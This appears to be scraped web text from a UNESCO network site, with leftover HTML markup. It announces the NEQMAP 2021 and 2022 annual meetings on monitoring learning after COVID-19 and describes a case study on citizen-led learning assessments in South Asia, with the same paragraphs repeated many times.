As highlighted in the UNESCO\u2019s high-level ministerial meeting in March 2021, it is crucial to prioritize education recovery and transformative education to avoid any generational catastrophe. As schools are reopening from the COVID-19 pandemic which has caused widespread disruption in education systems globally since March 2020, the issues of the learning losses, monitoring children\u2019s learning level and progress, the impact on their health, social emotional learning, as well as ways to continue to ensure the quality learning outcomes in the recovery phase of the emergencies are vital topics of discussion among education stakeholders.<\/p>\n\n\n\nTo discuss some of these timely and important issues, the Network on Education Quality Monitoring in the Asia-Pacific (NEQMAP) will host its 2021 Annual Meeting on, \u2018Reimagining Monitoring Quality Education Beyond<\/strong> COVID-19\u2019. <\/strong>This year\u2019s annual meeting will again be held online through Zoom. We invite NEQMAP members to provide updates on their activities pertaining to monitoring learning during and in the aftermath of COVID-19.  We expect the annual meeting will offer a platform to discuss pressing issues regarding education monitoring systems to ensure quality learning outcomes. The pandemic is an opportunity to exchange knowledge and experiences on how education systems need to transform in response to today\u2019s challenges; identify remaining gaps; and to prepare for digital transformations and the futures of education.  A pressing question for us is how can NEQMAP network catalyze efforts and mobilize resources to design relevant and tailored responses as we reimagine education beyond COVID-19.<\/p>\n\n\n\nObjectives:<\/strong><\/p>\n\n\n\n<ol type=\"1\"><li>To update on progress of members\u2019 achievements, challenges, and opportunities in 2021;<\/li><li>To strengthen and revitalize the network\u2019s collaborations through harnessing existing innovations in the field of monitoring quality of education;<\/li><li>To identify the network\u2019s target activities in 2022 and 2023<\/li><\/ol>\n\n\n\nParticipants<\/strong><\/p>\n\n\n\nAll NEQMAP members, as well as partner organisations, are invited to participate.

The focus of the NEQMAP topical case studies has been on how countries in the Asia-Pacific use learning assessment data in education policy and practice. <\/p>\n\n\n\nThe current series (the fourth issue) on <a href=\"https:\/\/neqmap.bangkok.unesco.org\/resource\/citizen-led-assessments-a-model-for-evidence-based-advocacy-and-action-to-improve-learning\/\">\u201cCitizen-led Assessments: A Model for Evidence-based Advocacy and Action to Improve Learning\u201d<\/strong><\/a> was released in June 2021. It illustrates a range of ways to monitor and improve learning through civil action. The Citizen-led Assessments (CLAs) model is designed as a household-based assessment to monitor and identify the most vulnerable and marginalized children, families, and communities who are often left out of school education and common school-based assessments. As such, CLAs serve as a key component of robust education monitoring systems in many developing countries. <\/p>\n\n\n\nCivil society organisations from four South Asian countries namely Bangladesh, India, Nepal and Pakistan have been implementing CLAs to assess and represent the learning levels of all children.

The focus of the NEQMAP topical case studies has been on how countries in the Asia-Pacific use learning assessment data in education policy and practice. <\/p>\n\n\n\nThe current series (the fourth issue) on <a href=\"https:\/\/neqmap.bangkok.unesco.org\/resource\/citizen-led-assessments-a-model-for-evidence-based-advocacy-and-action-to-improve-learning\/\">\u201cCitizen-led Assessments: A Model for Evidence-based Advocacy and Action to Improve Learning\u201d<\/strong><\/a> was released in June 2021. It illustrates a range of ways to monitor and improve learning through civil action. The Citizen-led Assessments (CLAs) model is designed as a household-based assessment to monitor and identify the most vulnerable and marginalized children, families, and communities who are often left out of school education and common school-based assessments. As such, CLAs serve as a key component of robust education monitoring systems in many developing countries. <\/p>\n\n\n\nCivil society organisations from four South Asian countries namely Bangladesh, India, Nepal and Pakistan have been implementing CLAs to assess and represent the learning levels of all children.

As highlighted in the UNESCO\u2019s high-level ministerial meeting in March 2021, it is crucial to prioritize education recovery and transformative education to avoid any generational catastrophe. As schools are reopening from the COVID-19 pandemic which has caused widespread disruption in education systems globally since March 2020, the issues of the learning losses, monitoring children\u2019s learning level and progress, the impact on their health, social emotional learning, as well as ways to continue to ensure the quality learning outcomes in the recovery phase of the emergencies are vital topics of discussion among education stakeholders.<\/p>\n\n\n\nTo discuss some of these timely and important issues, the Network on Education Quality Monitoring in the Asia-Pacific (NEQMAP) will host its 2021 Annual Meeting on, \u2018Reimagining Monitoring Quality Education Beyond<\/strong> COVID-19\u2019. <\/strong>This year\u2019s annual meeting will again be held online through Zoom. We invite NEQMAP members to provide updates on their activities pertaining to monitoring learning during and in the aftermath of COVID-19.  We expect the annual meeting will offer a platform to discuss pressing issues regarding education monitoring systems to ensure quality learning outcomes. The pandemic is an opportunity to exchange knowledge and experiences on how education systems need to transform in response to today\u2019s challenges; identify remaining gaps; and to prepare for digital transformations and the futures of education.  A pressing question for us is how can NEQMAP network catalyze efforts and mobilize resources to design relevant and tailored responses as we reimagine education beyond COVID-19.<\/p>\n\n\n\nObjectives:<\/strong><\/p>\n\n\n\n<ol type=\"1\"><li>To update on progress of members\u2019 achievements, challenges, and opportunities in 2021;<\/li><li>To strengthen and revitalize the network\u2019s collaborations through harnessing existing innovations in the field of monitoring quality of education;<\/li><li>To identify the network\u2019s target activities in 2022 and 2023<\/li><\/ol>\n\n\n\nParticipants<\/strong><\/p>\n\n\n\nAll NEQMAP members, as well as partner organisations, are invited to participate.

As highlighted in the UNESCO\u2019s high-level ministerial meeting in March 2021, it is crucial to prioritize education recovery and transformative education to avoid any generational catastrophe. As schools are reopening from the COVID-19 pandemic which has caused widespread disruption in education systems globally since March 2020, the issues of the learning losses, monitoring children\u2019s learning level and progress, the impact on their health, social emotional learning, as well as ways to continue to ensure the quality learning outcomes in the recovery phase of the emergencies are vital topics of discussion among education stakeholders.<\/p>\n\n\n\nTo discuss some of these timely and important issues, the Network on Education Quality Monitoring in the Asia-Pacific (NEQMAP) will host its 2021 Annual Meeting on, \u2018Reimagining Monitoring Quality Education Beyond<\/strong> COVID-19\u2019. <\/strong>This year\u2019s annual meeting will again be held online through Zoom. We invite NEQMAP members to provide updates on their activities pertaining to monitoring learning during and in the aftermath of COVID-19.  We expect the annual meeting will offer a platform to discuss pressing issues regarding education monitoring systems to ensure quality learning outcomes. The pandemic is an opportunity to exchange knowledge and experiences on how education systems need to transform in response to today\u2019s challenges; identify remaining gaps; and to prepare for digital transformations and the futures of education.  A pressing question for us is how can NEQMAP network catalyze efforts and mobilize resources to design relevant and tailored responses as we reimagine education beyond COVID-19.<\/p>\n\n\n\nObjectives:<\/strong><\/p>\n\n\n\n<ol type=\"1\"><li>To update on progress of members\u2019 achievements, challenges, and opportunities in 2021;<\/li><li>To strengthen and revitalize the network\u2019s collaborations through harnessing existing innovations in the field of monitoring quality of education;<\/li><li>To identify the network\u2019s target activities in 2022 and 2023<\/li><\/ol>\n\n\n\nParticipants<\/strong><\/p>\n\n\n\nAll NEQMAP members, as well as partner organisations, are invited to participate.

The focus of the NEQMAP topical case studies has been on how countries in the Asia-Pacific use learning assessment data in education policy and practice. <\/p>\n\n\n\nThe current series (the fourth issue) on <a href=\"https:\/\/neqmap.bangkok.unesco.org\/resource\/citizen-led-assessments-a-model-for-evidence-based-advocacy-and-action-to-improve-learning\/\">\u201cCitizen-led Assessments: A Model for Evidence-based Advocacy and Action to Improve Learning\u201d<\/strong><\/a> was released in June 2021. It illustrates a range of ways to monitor and improve learning through civil action. The Citizen-led Assessments (CLAs) model is designed as a household-based assessment to monitor and identify the most vulnerable and marginalized children, families, and communities who are often left out of school education and common school-based assessments. As such, CLAs serve as a key component of robust education monitoring systems in many developing countries. <\/p>\n\n\n\nCivil society organisations from four South Asian countries namely Bangladesh, India, Nepal and Pakistan have been implementing CLAs to assess and represent the learning levels of all children.

The focus of the NEQMAP topical case studies has been on how countries in the Asia-Pacific use learning assessment data in education policy and practice. <\/p>\n\n\n\nThe current series (the fourth issue) on <a href=\"https:\/\/neqmap.bangkok.unesco.org\/resource\/citizen-led-assessments-a-model-for-evidence-based-advocacy-and-action-to-improve-learning\/\">\u201cCitizen-led Assessments: A Model for Evidence-based Advocacy and Action to Improve Learning\u201d<\/strong><\/a> was released in June 2021. It illustrates a range of ways to monitor and improve learning through civil action. The Citizen-led Assessments (CLAs) model is designed as a household-based assessment to monitor and identify the most vulnerable and marginalized children, families, and communities who are often left out of school education and common school-based assessments. As such, CLAs serve as a key component of robust education monitoring systems in many developing countries. <\/p>\n\n\n\nCivil society organisations from four South Asian countries namely Bangladesh, India, Nepal and Pakistan have been implementing CLAs to assess and represent the learning levels of all children.

As highlighted in the UNESCO\u2019s high-level ministerial meeting in March 2021, it is crucial to prioritize education recovery and transformative education to avoid any generational catastrophe. As schools are reopening from the COVID-19 pandemic which has caused widespread disruption in education systems globally since March 2020, the issues of the learning losses, monitoring children\u2019s learning level and progress, the impact on their health, social emotional learning, as well as ways to continue to ensure the quality learning outcomes in the recovery phase of the emergencies are vital topics of discussion among education stakeholders.<\/p>\n\n\n\nTo discuss some of these timely and important issues, the Network on Education Quality Monitoring in the Asia-Pacific (NEQMAP) will host its 2021 Annual Meeting on, \u2018Reimagining Monitoring Quality Education Beyond<\/strong> COVID-19\u2019. <\/strong>This year\u2019s annual meeting will again be held online through Zoom. We invite NEQMAP members to provide updates on their activities pertaining to monitoring learning during and in the aftermath of COVID-19.  We expect the annual meeting will offer a platform to discuss pressing issues regarding education monitoring systems to ensure quality learning outcomes. The pandemic is an opportunity to exchange knowledge and experiences on how education systems need to transform in response to today\u2019s challenges; identify remaining gaps; and to prepare for digital transformations and the futures of education.  A pressing question for us is how can NEQMAP network catalyze efforts and mobilize resources to design relevant and tailored responses as we reimagine education beyond COVID-19.<\/p>\n\n\n\nObjectives:<\/strong><\/p>\n\n\n\n<ol type=\"1\"><li>To update on progress of members\u2019 achievements, challenges, and opportunities in 2021;<\/li><li>To strengthen and revitalize the network\u2019s collaborations through harnessing existing innovations in the field of monitoring quality of education;<\/li><li>To identify the network\u2019s target activities in 2022 and 2023<\/li><\/ol>\n\n\n\nParticipants<\/strong><\/p>\n\n\n\nAll NEQMAP members, as well as partner organisations, are invited to participate.

As highlighted in the UNESCO\u2019s high-level ministerial meeting in March 2021, it is crucial to prioritize education recovery and transformative education to avoid any generational catastrophe. As schools are reopening from the COVID-19 pandemic which has caused widespread disruption in education systems globally since March 2020, the issues of the learning losses, monitoring children\u2019s learning level and progress, the impact on their health, social emotional learning, as well as ways to continue to ensure the quality learning outcomes in the recovery phase of the emergencies are vital topics of discussion among education stakeholders.<\/p>\n\n\n\nTo discuss some of these timely and important issues, the Network on Education Quality Monitoring in the Asia-Pacific (NEQMAP) will host its 2021 Annual Meeting on, \u2018Reimagining Monitoring Quality Education Beyond<\/strong> COVID-19\u2019. <\/strong>This year\u2019s annual meeting will again be held online through Zoom. We invite NEQMAP members to provide updates on their activities pertaining to monitoring learning during and in the aftermath of COVID-19.  We expect the annual meeting will offer a platform to discuss pressing issues regarding education monitoring systems to ensure quality learning outcomes. The pandemic is an opportunity to exchange knowledge and experiences on how education systems need to transform in response to today\u2019s challenges; identify remaining gaps; and to prepare for digital transformations and the futures of education.  A pressing question for us is how can NEQMAP network catalyze efforts and mobilize resources to design relevant and tailored responses as we reimagine education beyond COVID-19.<\/p>\n\n\n\nObjectives:<\/strong><\/p>\n\n\n\n<ol type=\"1\"><li>To update on progress of members\u2019 achievements, challenges, and opportunities in 2021;<\/li><li>To strengthen and revitalize the network\u2019s collaborations through harnessing existing innovations in the field of monitoring quality of education;<\/li><li>To identify the network\u2019s target activities in 2022 and 2023<\/li><\/ol>\n\n\n\nParticipants<\/strong><\/p>\n\n\n\nAll NEQMAP members, as well as partner organisations, are invited to participate.

The pandemic is an opportunity to exchange knowledge and experiences on how education systems need to transform in response to today\u2019s challenges; identify remaining gaps; and to prepare for digital transformations and the futures of education.  A pressing question for us is how can NEQMAP network catalyze efforts and mobilize resources to design relevant and tailored responses as we reimagine education beyond COVID-19.<\/p>\n\n\n\nObjectives:<\/strong><\/p>\n\n\n\n<ol type=\"1\"><li>To update on progress of members\u2019 achievements, challenges, and opportunities in 2021;<\/li><li>To strengthen and revitalize the network\u2019s collaborations through harnessing existing innovations in the field of monitoring quality of education;<\/li><li>To identify the network\u2019s target activities in 2022 and 2023<\/li><\/ol>\n\n\n\nParticipants<\/strong><\/p>\n\n\n\nAll NEQMAP members, as well as partner organisations, are invited to participate.

The focus of the NEQMAP topical case studies has been on how countries in the Asia-Pacific use learning assessment data in education policy and practice. <\/p>\n\n\n\nThe current series (the fourth issue) on <a href=\"https:\/\/neqmap.bangkok.unesco.org\/resource\/citizen-led-assessments-a-model-for-evidence-based-advocacy-and-action-to-improve-learning\/\">\u201cCitizen-led Assessments: A Model for Evidence-based Advocacy and Action to Improve Learning\u201d<\/strong><\/a> was released in June 2021. It illustrates a range of ways to monitor and improve learning through civil action. The Citizen-led Assessments (CLAs) model is designed as a household-based assessment to monitor and identify the most vulnerable and marginalized children, families, and communities who are often left out of school education and common school-based assessments. As such, CLAs serve as a key component of robust education monitoring systems in many developing countries. <\/p>\n\n\n\nCivil society organisations from four South Asian countries namely Bangladesh, India, Nepal and Pakistan have been implementing CLAs to assess and represent the learning levels of all children.

The focus of the NEQMAP topical case studies has been on how countries in the Asia-Pacific use learning assessment data in education policy and practice. <\/p>\n\n\n\nThe current series (the fourth issue) on <a href=\"https:\/\/neqmap.bangkok.unesco.org\/resource\/citizen-led-assessments-a-model-for-evidence-based-advocacy-and-action-to-improve-learning\/\">\u201cCitizen-led Assessments: A Model for Evidence-based Advocacy and Action to Improve Learning\u201d<\/strong><\/a> was released in June 2021. It illustrates a range of ways to monitor and improve learning through civil action. The Citizen-led Assessments (CLAs) model is designed as a household-based assessment to monitor and identify the most vulnerable and marginalized children, families, and communities who are often left out of school education and common school-based assessments. As such, CLAs serve as a key component of robust education monitoring systems in many developing countries. <\/p>\n\n\n\nCivil society organisations from four South Asian countries namely Bangladesh, India, Nepal and Pakistan have been implementing CLAs to assess and represent the learning levels of all children.

As highlighted in the UNESCO\u2019s high-level ministerial meeting in March 2021, it is crucial to prioritize education recovery and transformative education to avoid any generational catastrophe. As schools are reopening from the COVID-19 pandemic which has caused widespread disruption in education systems globally since March 2020, the issues of the learning losses, monitoring children\u2019s learning level and progress, the impact on their health, social emotional learning, as well as ways to continue to ensure the quality learning outcomes in the recovery phase of the emergencies are vital topics of discussion among education stakeholders.<\/p>\n\n\n\nTo discuss some of these timely and important issues, the Network on Education Quality Monitoring in the Asia-Pacific (NEQMAP) will host its 2021 Annual Meeting on, \u2018Reimagining Monitoring Quality Education Beyond<\/strong> COVID-19\u2019. <\/strong>This year\u2019s annual meeting will again be held online through Zoom. We invite NEQMAP members to provide updates on their activities pertaining to monitoring learning during and in the aftermath of COVID-19.  We expect the annual meeting will offer a platform to discuss pressing issues regarding education monitoring systems to ensure quality learning outcomes. The pandemic is an opportunity to exchange knowledge and experiences on how education systems need to transform in response to today\u2019s challenges; identify remaining gaps; and to prepare for digital transformations and the futures of education.  A pressing question for us is how can NEQMAP network catalyze efforts and mobilize resources to design relevant and tailored responses as we reimagine education beyond COVID-19.<\/p>\n\n\n\nObjectives:<\/strong><\/p>\n\n\n\n<ol type=\"1\"><li>To update on progress of members\u2019 achievements, challenges, and opportunities in 2021;<\/li><li>To strengthen and revitalize the network\u2019s collaborations through harnessing existing innovations in the field of monitoring quality of education;<\/li><li>To identify the network\u2019s target activities in 2022 and 2023<\/li><\/ol>\n\n\n\nParticipants<\/strong><\/p>\n\n\n\nAll NEQMAP members, as well as partner organisations, are invited to participate.

As highlighted in the UNESCO\u2019s high-level ministerial meeting in March 2021, it is crucial to prioritize education recovery and transformative education to avoid any generational catastrophe. As schools are reopening from the COVID-19 pandemic which has caused widespread disruption in education systems globally since March 2020, the issues of the learning losses, monitoring children\u2019s learning level and progress, the impact on their health, social emotional learning, as well as ways to continue to ensure the quality learning outcomes in the recovery phase of the emergencies are vital topics of discussion among education stakeholders.<\/p>\n\n\n\nTo discuss some of these timely and important issues, the Network on Education Quality Monitoring in the Asia-Pacific (NEQMAP) will host its 2021 Annual Meeting on, \u2018Reimagining Monitoring Quality Education Beyond<\/strong> COVID-19\u2019. <\/strong>This year\u2019s annual meeting will again be held online through Zoom. We invite NEQMAP members to provide updates on their activities pertaining to monitoring learning during and in the aftermath of COVID-19.  We expect the annual meeting will offer a platform to discuss pressing issues regarding education monitoring systems to ensure quality learning outcomes. The pandemic is an opportunity to exchange knowledge and experiences on how education systems need to transform in response to today\u2019s challenges; identify remaining gaps; and to prepare for digital transformations and the futures of education.  A pressing question for us is how can NEQMAP network catalyze efforts and mobilize resources to design relevant and tailored responses as we reimagine education beyond COVID-19.<\/p>\n\n\n\nObjectives:<\/strong><\/p>\n\n\n\n<ol type=\"1\"><li>To update on progress of members\u2019 achievements, challenges, and opportunities in 2021;<\/li><li>To strengthen and revitalize the network\u2019s collaborations through harnessing existing innovations in the field of monitoring quality of education;<\/li><li>To identify the network\u2019s target activities in 2022 and 2023<\/li><\/ol>\n\n\n\nParticipants<\/strong><\/p>\n\n\n\nAll NEQMAP members, as well as partner organisations, are invited to participate.

The pandemic is an opportunity to exchange knowledge and experiences on how education systems need to transform in response to today\u2019s challenges; identify remaining gaps; and to prepare for digital transformations and the futures of education.  A pressing question for us is how can NEQMAP network catalyze efforts and mobilize resources to design relevant and tailored responses as we reimagine education beyond COVID-19.<\/p>\n\n\n\nObjectives:<\/strong><\/p>\n\n\n\n<ol type=\"1\"><li>To update on progress of members\u2019 achievements, challenges, and opportunities in 2021;<\/li><li>To strengthen and revitalize the network\u2019s collaborations through harnessing existing innovations in the field of monitoring quality of education;<\/li><li>To identify the network\u2019s target activities in 2022 and 2023<\/li><\/ol>\n\n\n\nParticipants<\/strong><\/p>\n\n\n\nAll NEQMAP members, as well as partner organisations, are invited to participate.

The focus of the NEQMAP topical case studies has been on how countries in the Asia-Pacific use learning assessment data in education policy and practice. <\/p>\n\n\n\nThe current series (the fourth issue) on <a href=\"https:\/\/neqmap.bangkok.unesco.org\/resource\/citizen-led-assessments-a-model-for-evidence-based-advocacy-and-action-to-improve-learning\/\">\u201cCitizen-led Assessments: A Model for Evidence-based Advocacy and Action to Improve Learning\u201d<\/strong><\/a> was released in June 2021. It illustrates a range of ways to monitor and improve learning through civil action. The Citizen-led Assessments (CLAs) model is designed as a household-based assessment to monitor and identify the most vulnerable and marginalized children, families, and communities who are often left out of school education and common school-based assessments. As such, CLAs serve as a key component of robust education monitoring systems in many developing countries. <\/p>\n\n\n\nCivil society organisations from four South Asian countries namely Bangladesh, India, Nepal and Pakistan have been implementing CLAs to assess and represent the learning levels of all children.

The focus of the NEQMAP topical case studies has been on how countries in the Asia-Pacific use learning assessment data in education policy and practice. <\/p>\n\n\n\nThe current series (the fourth issue) on <a href=\"https:\/\/neqmap.bangkok.unesco.org\/resource\/citizen-led-assessments-a-model-for-evidence-based-advocacy-and-action-to-improve-learning\/\">\u201cCitizen-led Assessments: A Model for Evidence-based Advocacy and Action to Improve Learning\u201d<\/strong><\/a> was released in June 2021. It illustrates a range of ways to monitor and improve learning through civil action. The Citizen-led Assessments (CLAs) model is designed as a household-based assessment to monitor and identify the most vulnerable and marginalized children, families, and communities who are often left out of school education and common school-based assessments. As such, CLAs serve as a key component of robust education monitoring systems in many developing countries. <\/p>\n\n\n\nCivil society organisations from four South Asian countries namely Bangladesh, India, Nepal and Pakistan have been implementing CLAs to assess and represent the learning levels of all children.

As highlighted in the UNESCO\u2019s high-level ministerial meeting in March 2021, it is crucial to prioritize education recovery and transformative education to avoid any generational catastrophe. As schools are reopening from the COVID-19 pandemic which has caused widespread disruption in education systems globally since March 2020, the issues of the learning losses, monitoring children\u2019s learning level and progress, the impact on their health, social emotional learning, as well as ways to continue to ensure the quality learning outcomes in the recovery phase of the emergencies are vital topics of discussion among education stakeholders.<\/p>\n\n\n\nTo discuss some of these timely and important issues, the Network on Education Quality Monitoring in the Asia-Pacific (NEQMAP) will host its 2021 Annual Meeting on, \u2018Reimagining Monitoring Quality Education Beyond<\/strong> COVID-19\u2019. <\/strong>This year\u2019s annual meeting will again be held online through Zoom. We invite NEQMAP members to provide updates on their activities pertaining to monitoring learning during and in the aftermath of COVID-19.  We expect the annual meeting will offer a platform to discuss pressing issues regarding education monitoring systems to ensure quality learning outcomes. The pandemic is an opportunity to exchange knowledge and experiences on how education systems need to transform in response to today\u2019s challenges; identify remaining gaps; and to prepare for digital transformations and the futures of education.  A pressing question for us is how can NEQMAP network catalyze efforts and mobilize resources to design relevant and tailored responses as we reimagine education beyond COVID-19.<\/p>\n\n\n\nObjectives:<\/strong><\/p>\n\n\n\n<ol type=\"1\"><li>To update on progress of members\u2019 achievements, challenges, and opportunities in 2021;<\/li><li>To strengthen and revitalize the network\u2019s collaborations through harnessing existing innovations in the field of monitoring quality of education;<\/li><li>To identify the network\u2019s target activities in 2022 and 2023<\/li><\/ol>\n\n\n\nParticipants<\/strong><\/p>\n\n\n\nAll NEQMAP members, as well as partner organisations, are invited to participate.

As highlighted in the UNESCO\u2019s high-level ministerial meeting in March 2021, it is crucial to prioritize education recovery and transformative education to avoid any generational catastrophe. As schools are reopening from the COVID-19 pandemic which has caused widespread disruption in education systems globally since March 2020, the issues of the learning losses, monitoring children\u2019s learning level and progress, the impact on their health, social emotional learning, as well as ways to continue to ensure the quality learning outcomes in the recovery phase of the emergencies are vital topics of discussion among education stakeholders.<\/p>\n\n\n\nTo discuss some of these timely and important issues, the Network on Education Quality Monitoring in the Asia-Pacific (NEQMAP) will host its 2021 Annual Meeting on, \u2018Reimagining Monitoring Quality Education Beyond<\/strong> COVID-19\u2019. <\/strong>This year\u2019s annual meeting will again be held online through Zoom. We invite NEQMAP members to provide updates on their activities pertaining to monitoring learning during and in the aftermath of COVID-19.  We expect the annual meeting will offer a platform to discuss pressing issues regarding education monitoring systems to ensure quality learning outcomes. The pandemic is an opportunity to exchange knowledge and experiences on how education systems need to transform in response to today\u2019s challenges; identify remaining gaps; and to prepare for digital transformations and the futures of education.  A pressing question for us is how can NEQMAP network catalyze efforts and mobilize resources to design relevant and tailored responses as we reimagine education beyond COVID-19.<\/p>\n\n\n\nObjectives:<\/strong><\/p>\n\n\n\n<ol type=\"1\"><li>To update on progress of members\u2019 achievements, challenges, and opportunities in 2021;<\/li><li>To strengthen and revitalize the network\u2019s collaborations through harnessing existing innovations in the field of monitoring quality of education;<\/li><li>To identify the network\u2019s target activities in 2022 and 2023<\/li><\/ol>\n\n\n\nParticipants<\/strong><\/p>\n\n\n\nAll NEQMAP members, as well as partner organisations, are invited to participate.

The pandemic is an opportunity to exchange knowledge and experiences on how education systems need to transform in response to today\u2019s challenges; identify remaining gaps; and to prepare for digital transformations and the futures of education.  A pressing question for us is how can NEQMAP network catalyze efforts and mobilize resources to design relevant and tailored responses as we reimagine education beyond COVID-19.<\/p>\n\n\n\nObjectives:<\/strong><\/p>\n\n\n\n<ol type=\"1\"><li>To update on progress of members\u2019 achievements, challenges, and opportunities in 2021;<\/li><li>To strengthen and revitalize the network\u2019s collaborations through harnessing existing innovations in the field of monitoring quality of education;<\/li><li>To identify the network\u2019s target activities in 2022 and 2023<\/li><\/ol>\n\n\n\nParticipants<\/strong><\/p>\n\n\n\nAll NEQMAP members, as well as partner organisations, are invited to participate.

The focus of the NEQMAP topical case studies has been on how countries in the Asia-Pacific use learning assessment data in education policy and practice. <\/p>\n\n\n\nThe current series (the fourth issue) on <a href=\"https:\/\/neqmap.bangkok.unesco.org\/resource\/citizen-led-assessments-a-model-for-evidence-based-advocacy-and-action-to-improve-learning\/\">\u201cCitizen-led Assessments: A Model for Evidence-based Advocacy and Action to Improve Learning\u201d<\/strong><\/a> was released in June 2021. It illustrates a range of ways to monitor and improve learning through civil action. The Citizen-led Assessments (CLAs) model is designed as a household-based assessment to monitor and identify the most vulnerable and marginalized children, families, and communities who are often left out of school education and common school-based assessments. As such, CLAs serve as a key component of robust education monitoring systems in many developing countries. <\/p>\n\n\n\nCivil society organisations from four South Asian countries namely Bangladesh, India, Nepal and Pakistan have been implementing CLAs to assess and represent the learning levels of all children.

The focus of the NEQMAP topical case studies has been on how countries in the Asia-Pacific use learning assessment data in education policy and practice. <\/p>\n\n\n\nThe current series (the fourth issue) on <a href=\"https:\/\/neqmap.bangkok.unesco.org\/resource\/citizen-led-assessments-a-model-for-evidence-based-advocacy-and-action-to-improve-learning\/\">\u201cCitizen-led Assessments: A Model for Evidence-based Advocacy and Action to Improve Learning\u201d<\/strong><\/a> was released in June 2021. It illustrates a range of ways to monitor and improve learning through civil action. The Citizen-led Assessments (CLAs) model is designed as a household-based assessment to monitor and identify the most vulnerable and marginalized children, families, and communities who are often left out of school education and common school-based assessments. As such, CLAs serve as a key component of robust education monitoring systems in many developing countries. <\/p>\n\n\n\nCivil society organisations from four South Asian countries namely Bangladesh, India, Nepal and Pakistan have been implementing CLAs to assess and represent the learning levels of all children.

As highlighted in the UNESCO\u2019s high-level ministerial meeting in March 2021, it is crucial to prioritize education recovery and transformative education to avoid any generational catastrophe. As schools are reopening from the COVID-19 pandemic which has caused widespread disruption in education systems globally since March 2020, the issues of the learning losses, monitoring children\u2019s learning level and progress, the impact on their health, social emotional learning, as well as ways to continue to ensure the quality learning outcomes in the recovery phase of the emergencies are vital topics of discussion among education stakeholders.<\/p>\n\n\n\nTo discuss some of these timely and important issues, the Network on Education Quality Monitoring in the Asia-Pacific (NEQMAP) will host its 2021 Annual Meeting on, \u2018Reimagining Monitoring Quality Education Beyond<\/strong> COVID-19\u2019. <\/strong>This year\u2019s annual meeting will again be held online through Zoom. We invite NEQMAP members to provide updates on their activities pertaining to monitoring learning during and in the aftermath of COVID-19.  We expect the annual meeting will offer a platform to discuss pressing issues regarding education monitoring systems to ensure quality learning outcomes. The pandemic is an opportunity to exchange knowledge and experiences on how education systems need to transform in response to today\u2019s challenges; identify remaining gaps; and to prepare for digital transformations and the futures of education.  A pressing question for us is how can NEQMAP network catalyze efforts and mobilize resources to design relevant and tailored responses as we reimagine education beyond COVID-19.<\/p>\n\n\n\nObjectives:<\/strong><\/p>\n\n\n\n<ol type=\"1\"><li>To update on progress of members\u2019 achievements, challenges, and opportunities in 2021;<\/li><li>To strengthen and revitalize the network\u2019s collaborations through harnessing existing innovations in the field of monitoring quality of education;<\/li><li>To identify the network\u2019s target activities in 2022 and 2023<\/li><\/ol>\n\n\n\nParticipants<\/strong><\/p>\n\n\n\nAll NEQMAP members, as well as partner organisations, are invited to participate.

As highlighted in the UNESCO\u2019s high-level ministerial meeting in March 2021, it is crucial to prioritize education recovery and transformative education to avoid any generational catastrophe. As schools are reopening from the COVID-19 pandemic which has caused widespread disruption in education systems globally since March 2020, the issues of the learning losses, monitoring children\u2019s learning level and progress, the impact on their health, social emotional learning, as well as ways to continue to ensure the quality learning outcomes in the recovery phase of the emergencies are vital topics of discussion among education stakeholders.<\/p>\n\n\n\nTo discuss some of these timely and important issues, the Network on Education Quality Monitoring in the Asia-Pacific (NEQMAP) will host its 2021 Annual Meeting on, \u2018Reimagining Monitoring Quality Education Beyond<\/strong> COVID-19\u2019. <\/strong>This year\u2019s annual meeting will again be held online through Zoom. We invite NEQMAP members to provide updates on their activities pertaining to monitoring learning during and in the aftermath of COVID-19.  We expect the annual meeting will offer a platform to discuss pressing issues regarding education monitoring systems to ensure quality learning outcomes. The pandemic is an opportunity to exchange knowledge and experiences on how education systems need to transform in response to today\u2019s challenges; identify remaining gaps; and to prepare for digital transformations and the futures of education.  A pressing question for us is how can NEQMAP network catalyze efforts and mobilize resources to design relevant and tailored responses as we reimagine education beyond COVID-19.<\/p>\n\n\n\nObjectives:<\/strong><\/p>\n\n\n\n<ol type=\"1\"><li>To update on progress of members\u2019 achievements, challenges, and opportunities in 2021;<\/li><li>To strengthen and revitalize the network\u2019s collaborations through harnessing existing innovations in the field of monitoring quality of education;<\/li><li>To identify the network\u2019s target activities in 2022 and 2023<\/li><\/ol>\n\n\n\nParticipants<\/strong><\/p>\n\n\n\nAll NEQMAP members, as well as partner organisations, are invited to participate.

In June 2022, the Second Asia-Pacific Education Ministers\u2019 Conference (APREMC-II) was held in Bangkok Thailand and led to the adoption of the \u201c<a href=\"https:\/\/unesdoc.unesco.org\/ark:\/48223\/pf0000381962\">Bangkok Statement 2022: Towards an effective learning recovery for all and transforming education in Asia-Pacific<\/strong>\u201d<\/a>. The Bangkok Statement 2022 identified two main priority areas of action for Asia-Pacific: ensuring a timely recovery post-COVID-19 and transforming education to be more relevant, inclusive and resilient. Internationally, the <a href=\"https:\/\/www.un.org\/en\/transforming-education-summit\" target=\"_blank\" rel=\"noreferrer noopener nofollow\">Transforming Education Summit<\/a> <\/strong>convened in New York by the United Nations Secretary General created a new momentum among countries for education reform and achieving the SDG 4 goals. NEQMAP will aim to support countries in Asia-Pacific to meet their commitment through knowledge-sharing and capacity-building in the areas of assessment and monitoring of learning. <\/p>\n\n\n\nThe year ahead is also a historical milestone for the NEQMAP network, which will celebrate its ten-year anniversary. The 2022 Annual Meeting will thus aim to plan for this celebratory year by reflecting on the accomplishments of the first decade and exploring how to advance further the work of NEQMAP and its role in promoting better monitoring of learning in Asia-Pacific. <\/p>\n\n\n\nObjectives:<\/strong> The NEQMAP 2022 annual meeting has three main objectives: <\/p>\n\n\n\n<ol>\n<li>To promote knowledge sharing between NEQMAP members on student assessment and monitoring of learning outcomes <\/li>\n\n\n\n<li>To further strengthen NEQMAP\u2019s capacity in knowledge-sharing, capacity building and research around the key themes of learning assessment <\/li>\n\n\n\n<li>To decide on the NEQMAP 2023 priority areas of work<\/li>\n<\/ol>\n\n\n\n<\/p>\n\n\n\nWhen:<\/strong> 15-16 December 2022<\/p>\n\n\n\nWhere:<\/strong> UNESCO Bangkok and via Zoom (Hybrid Modality)<\/p>\n\n\n\nWho:<\/strong> All NEQMAP members, as well as delegates from partner organizations, are invited to participate in this meeting to update each other on their relevant activities and to share their experiences and thoughts on the topic.

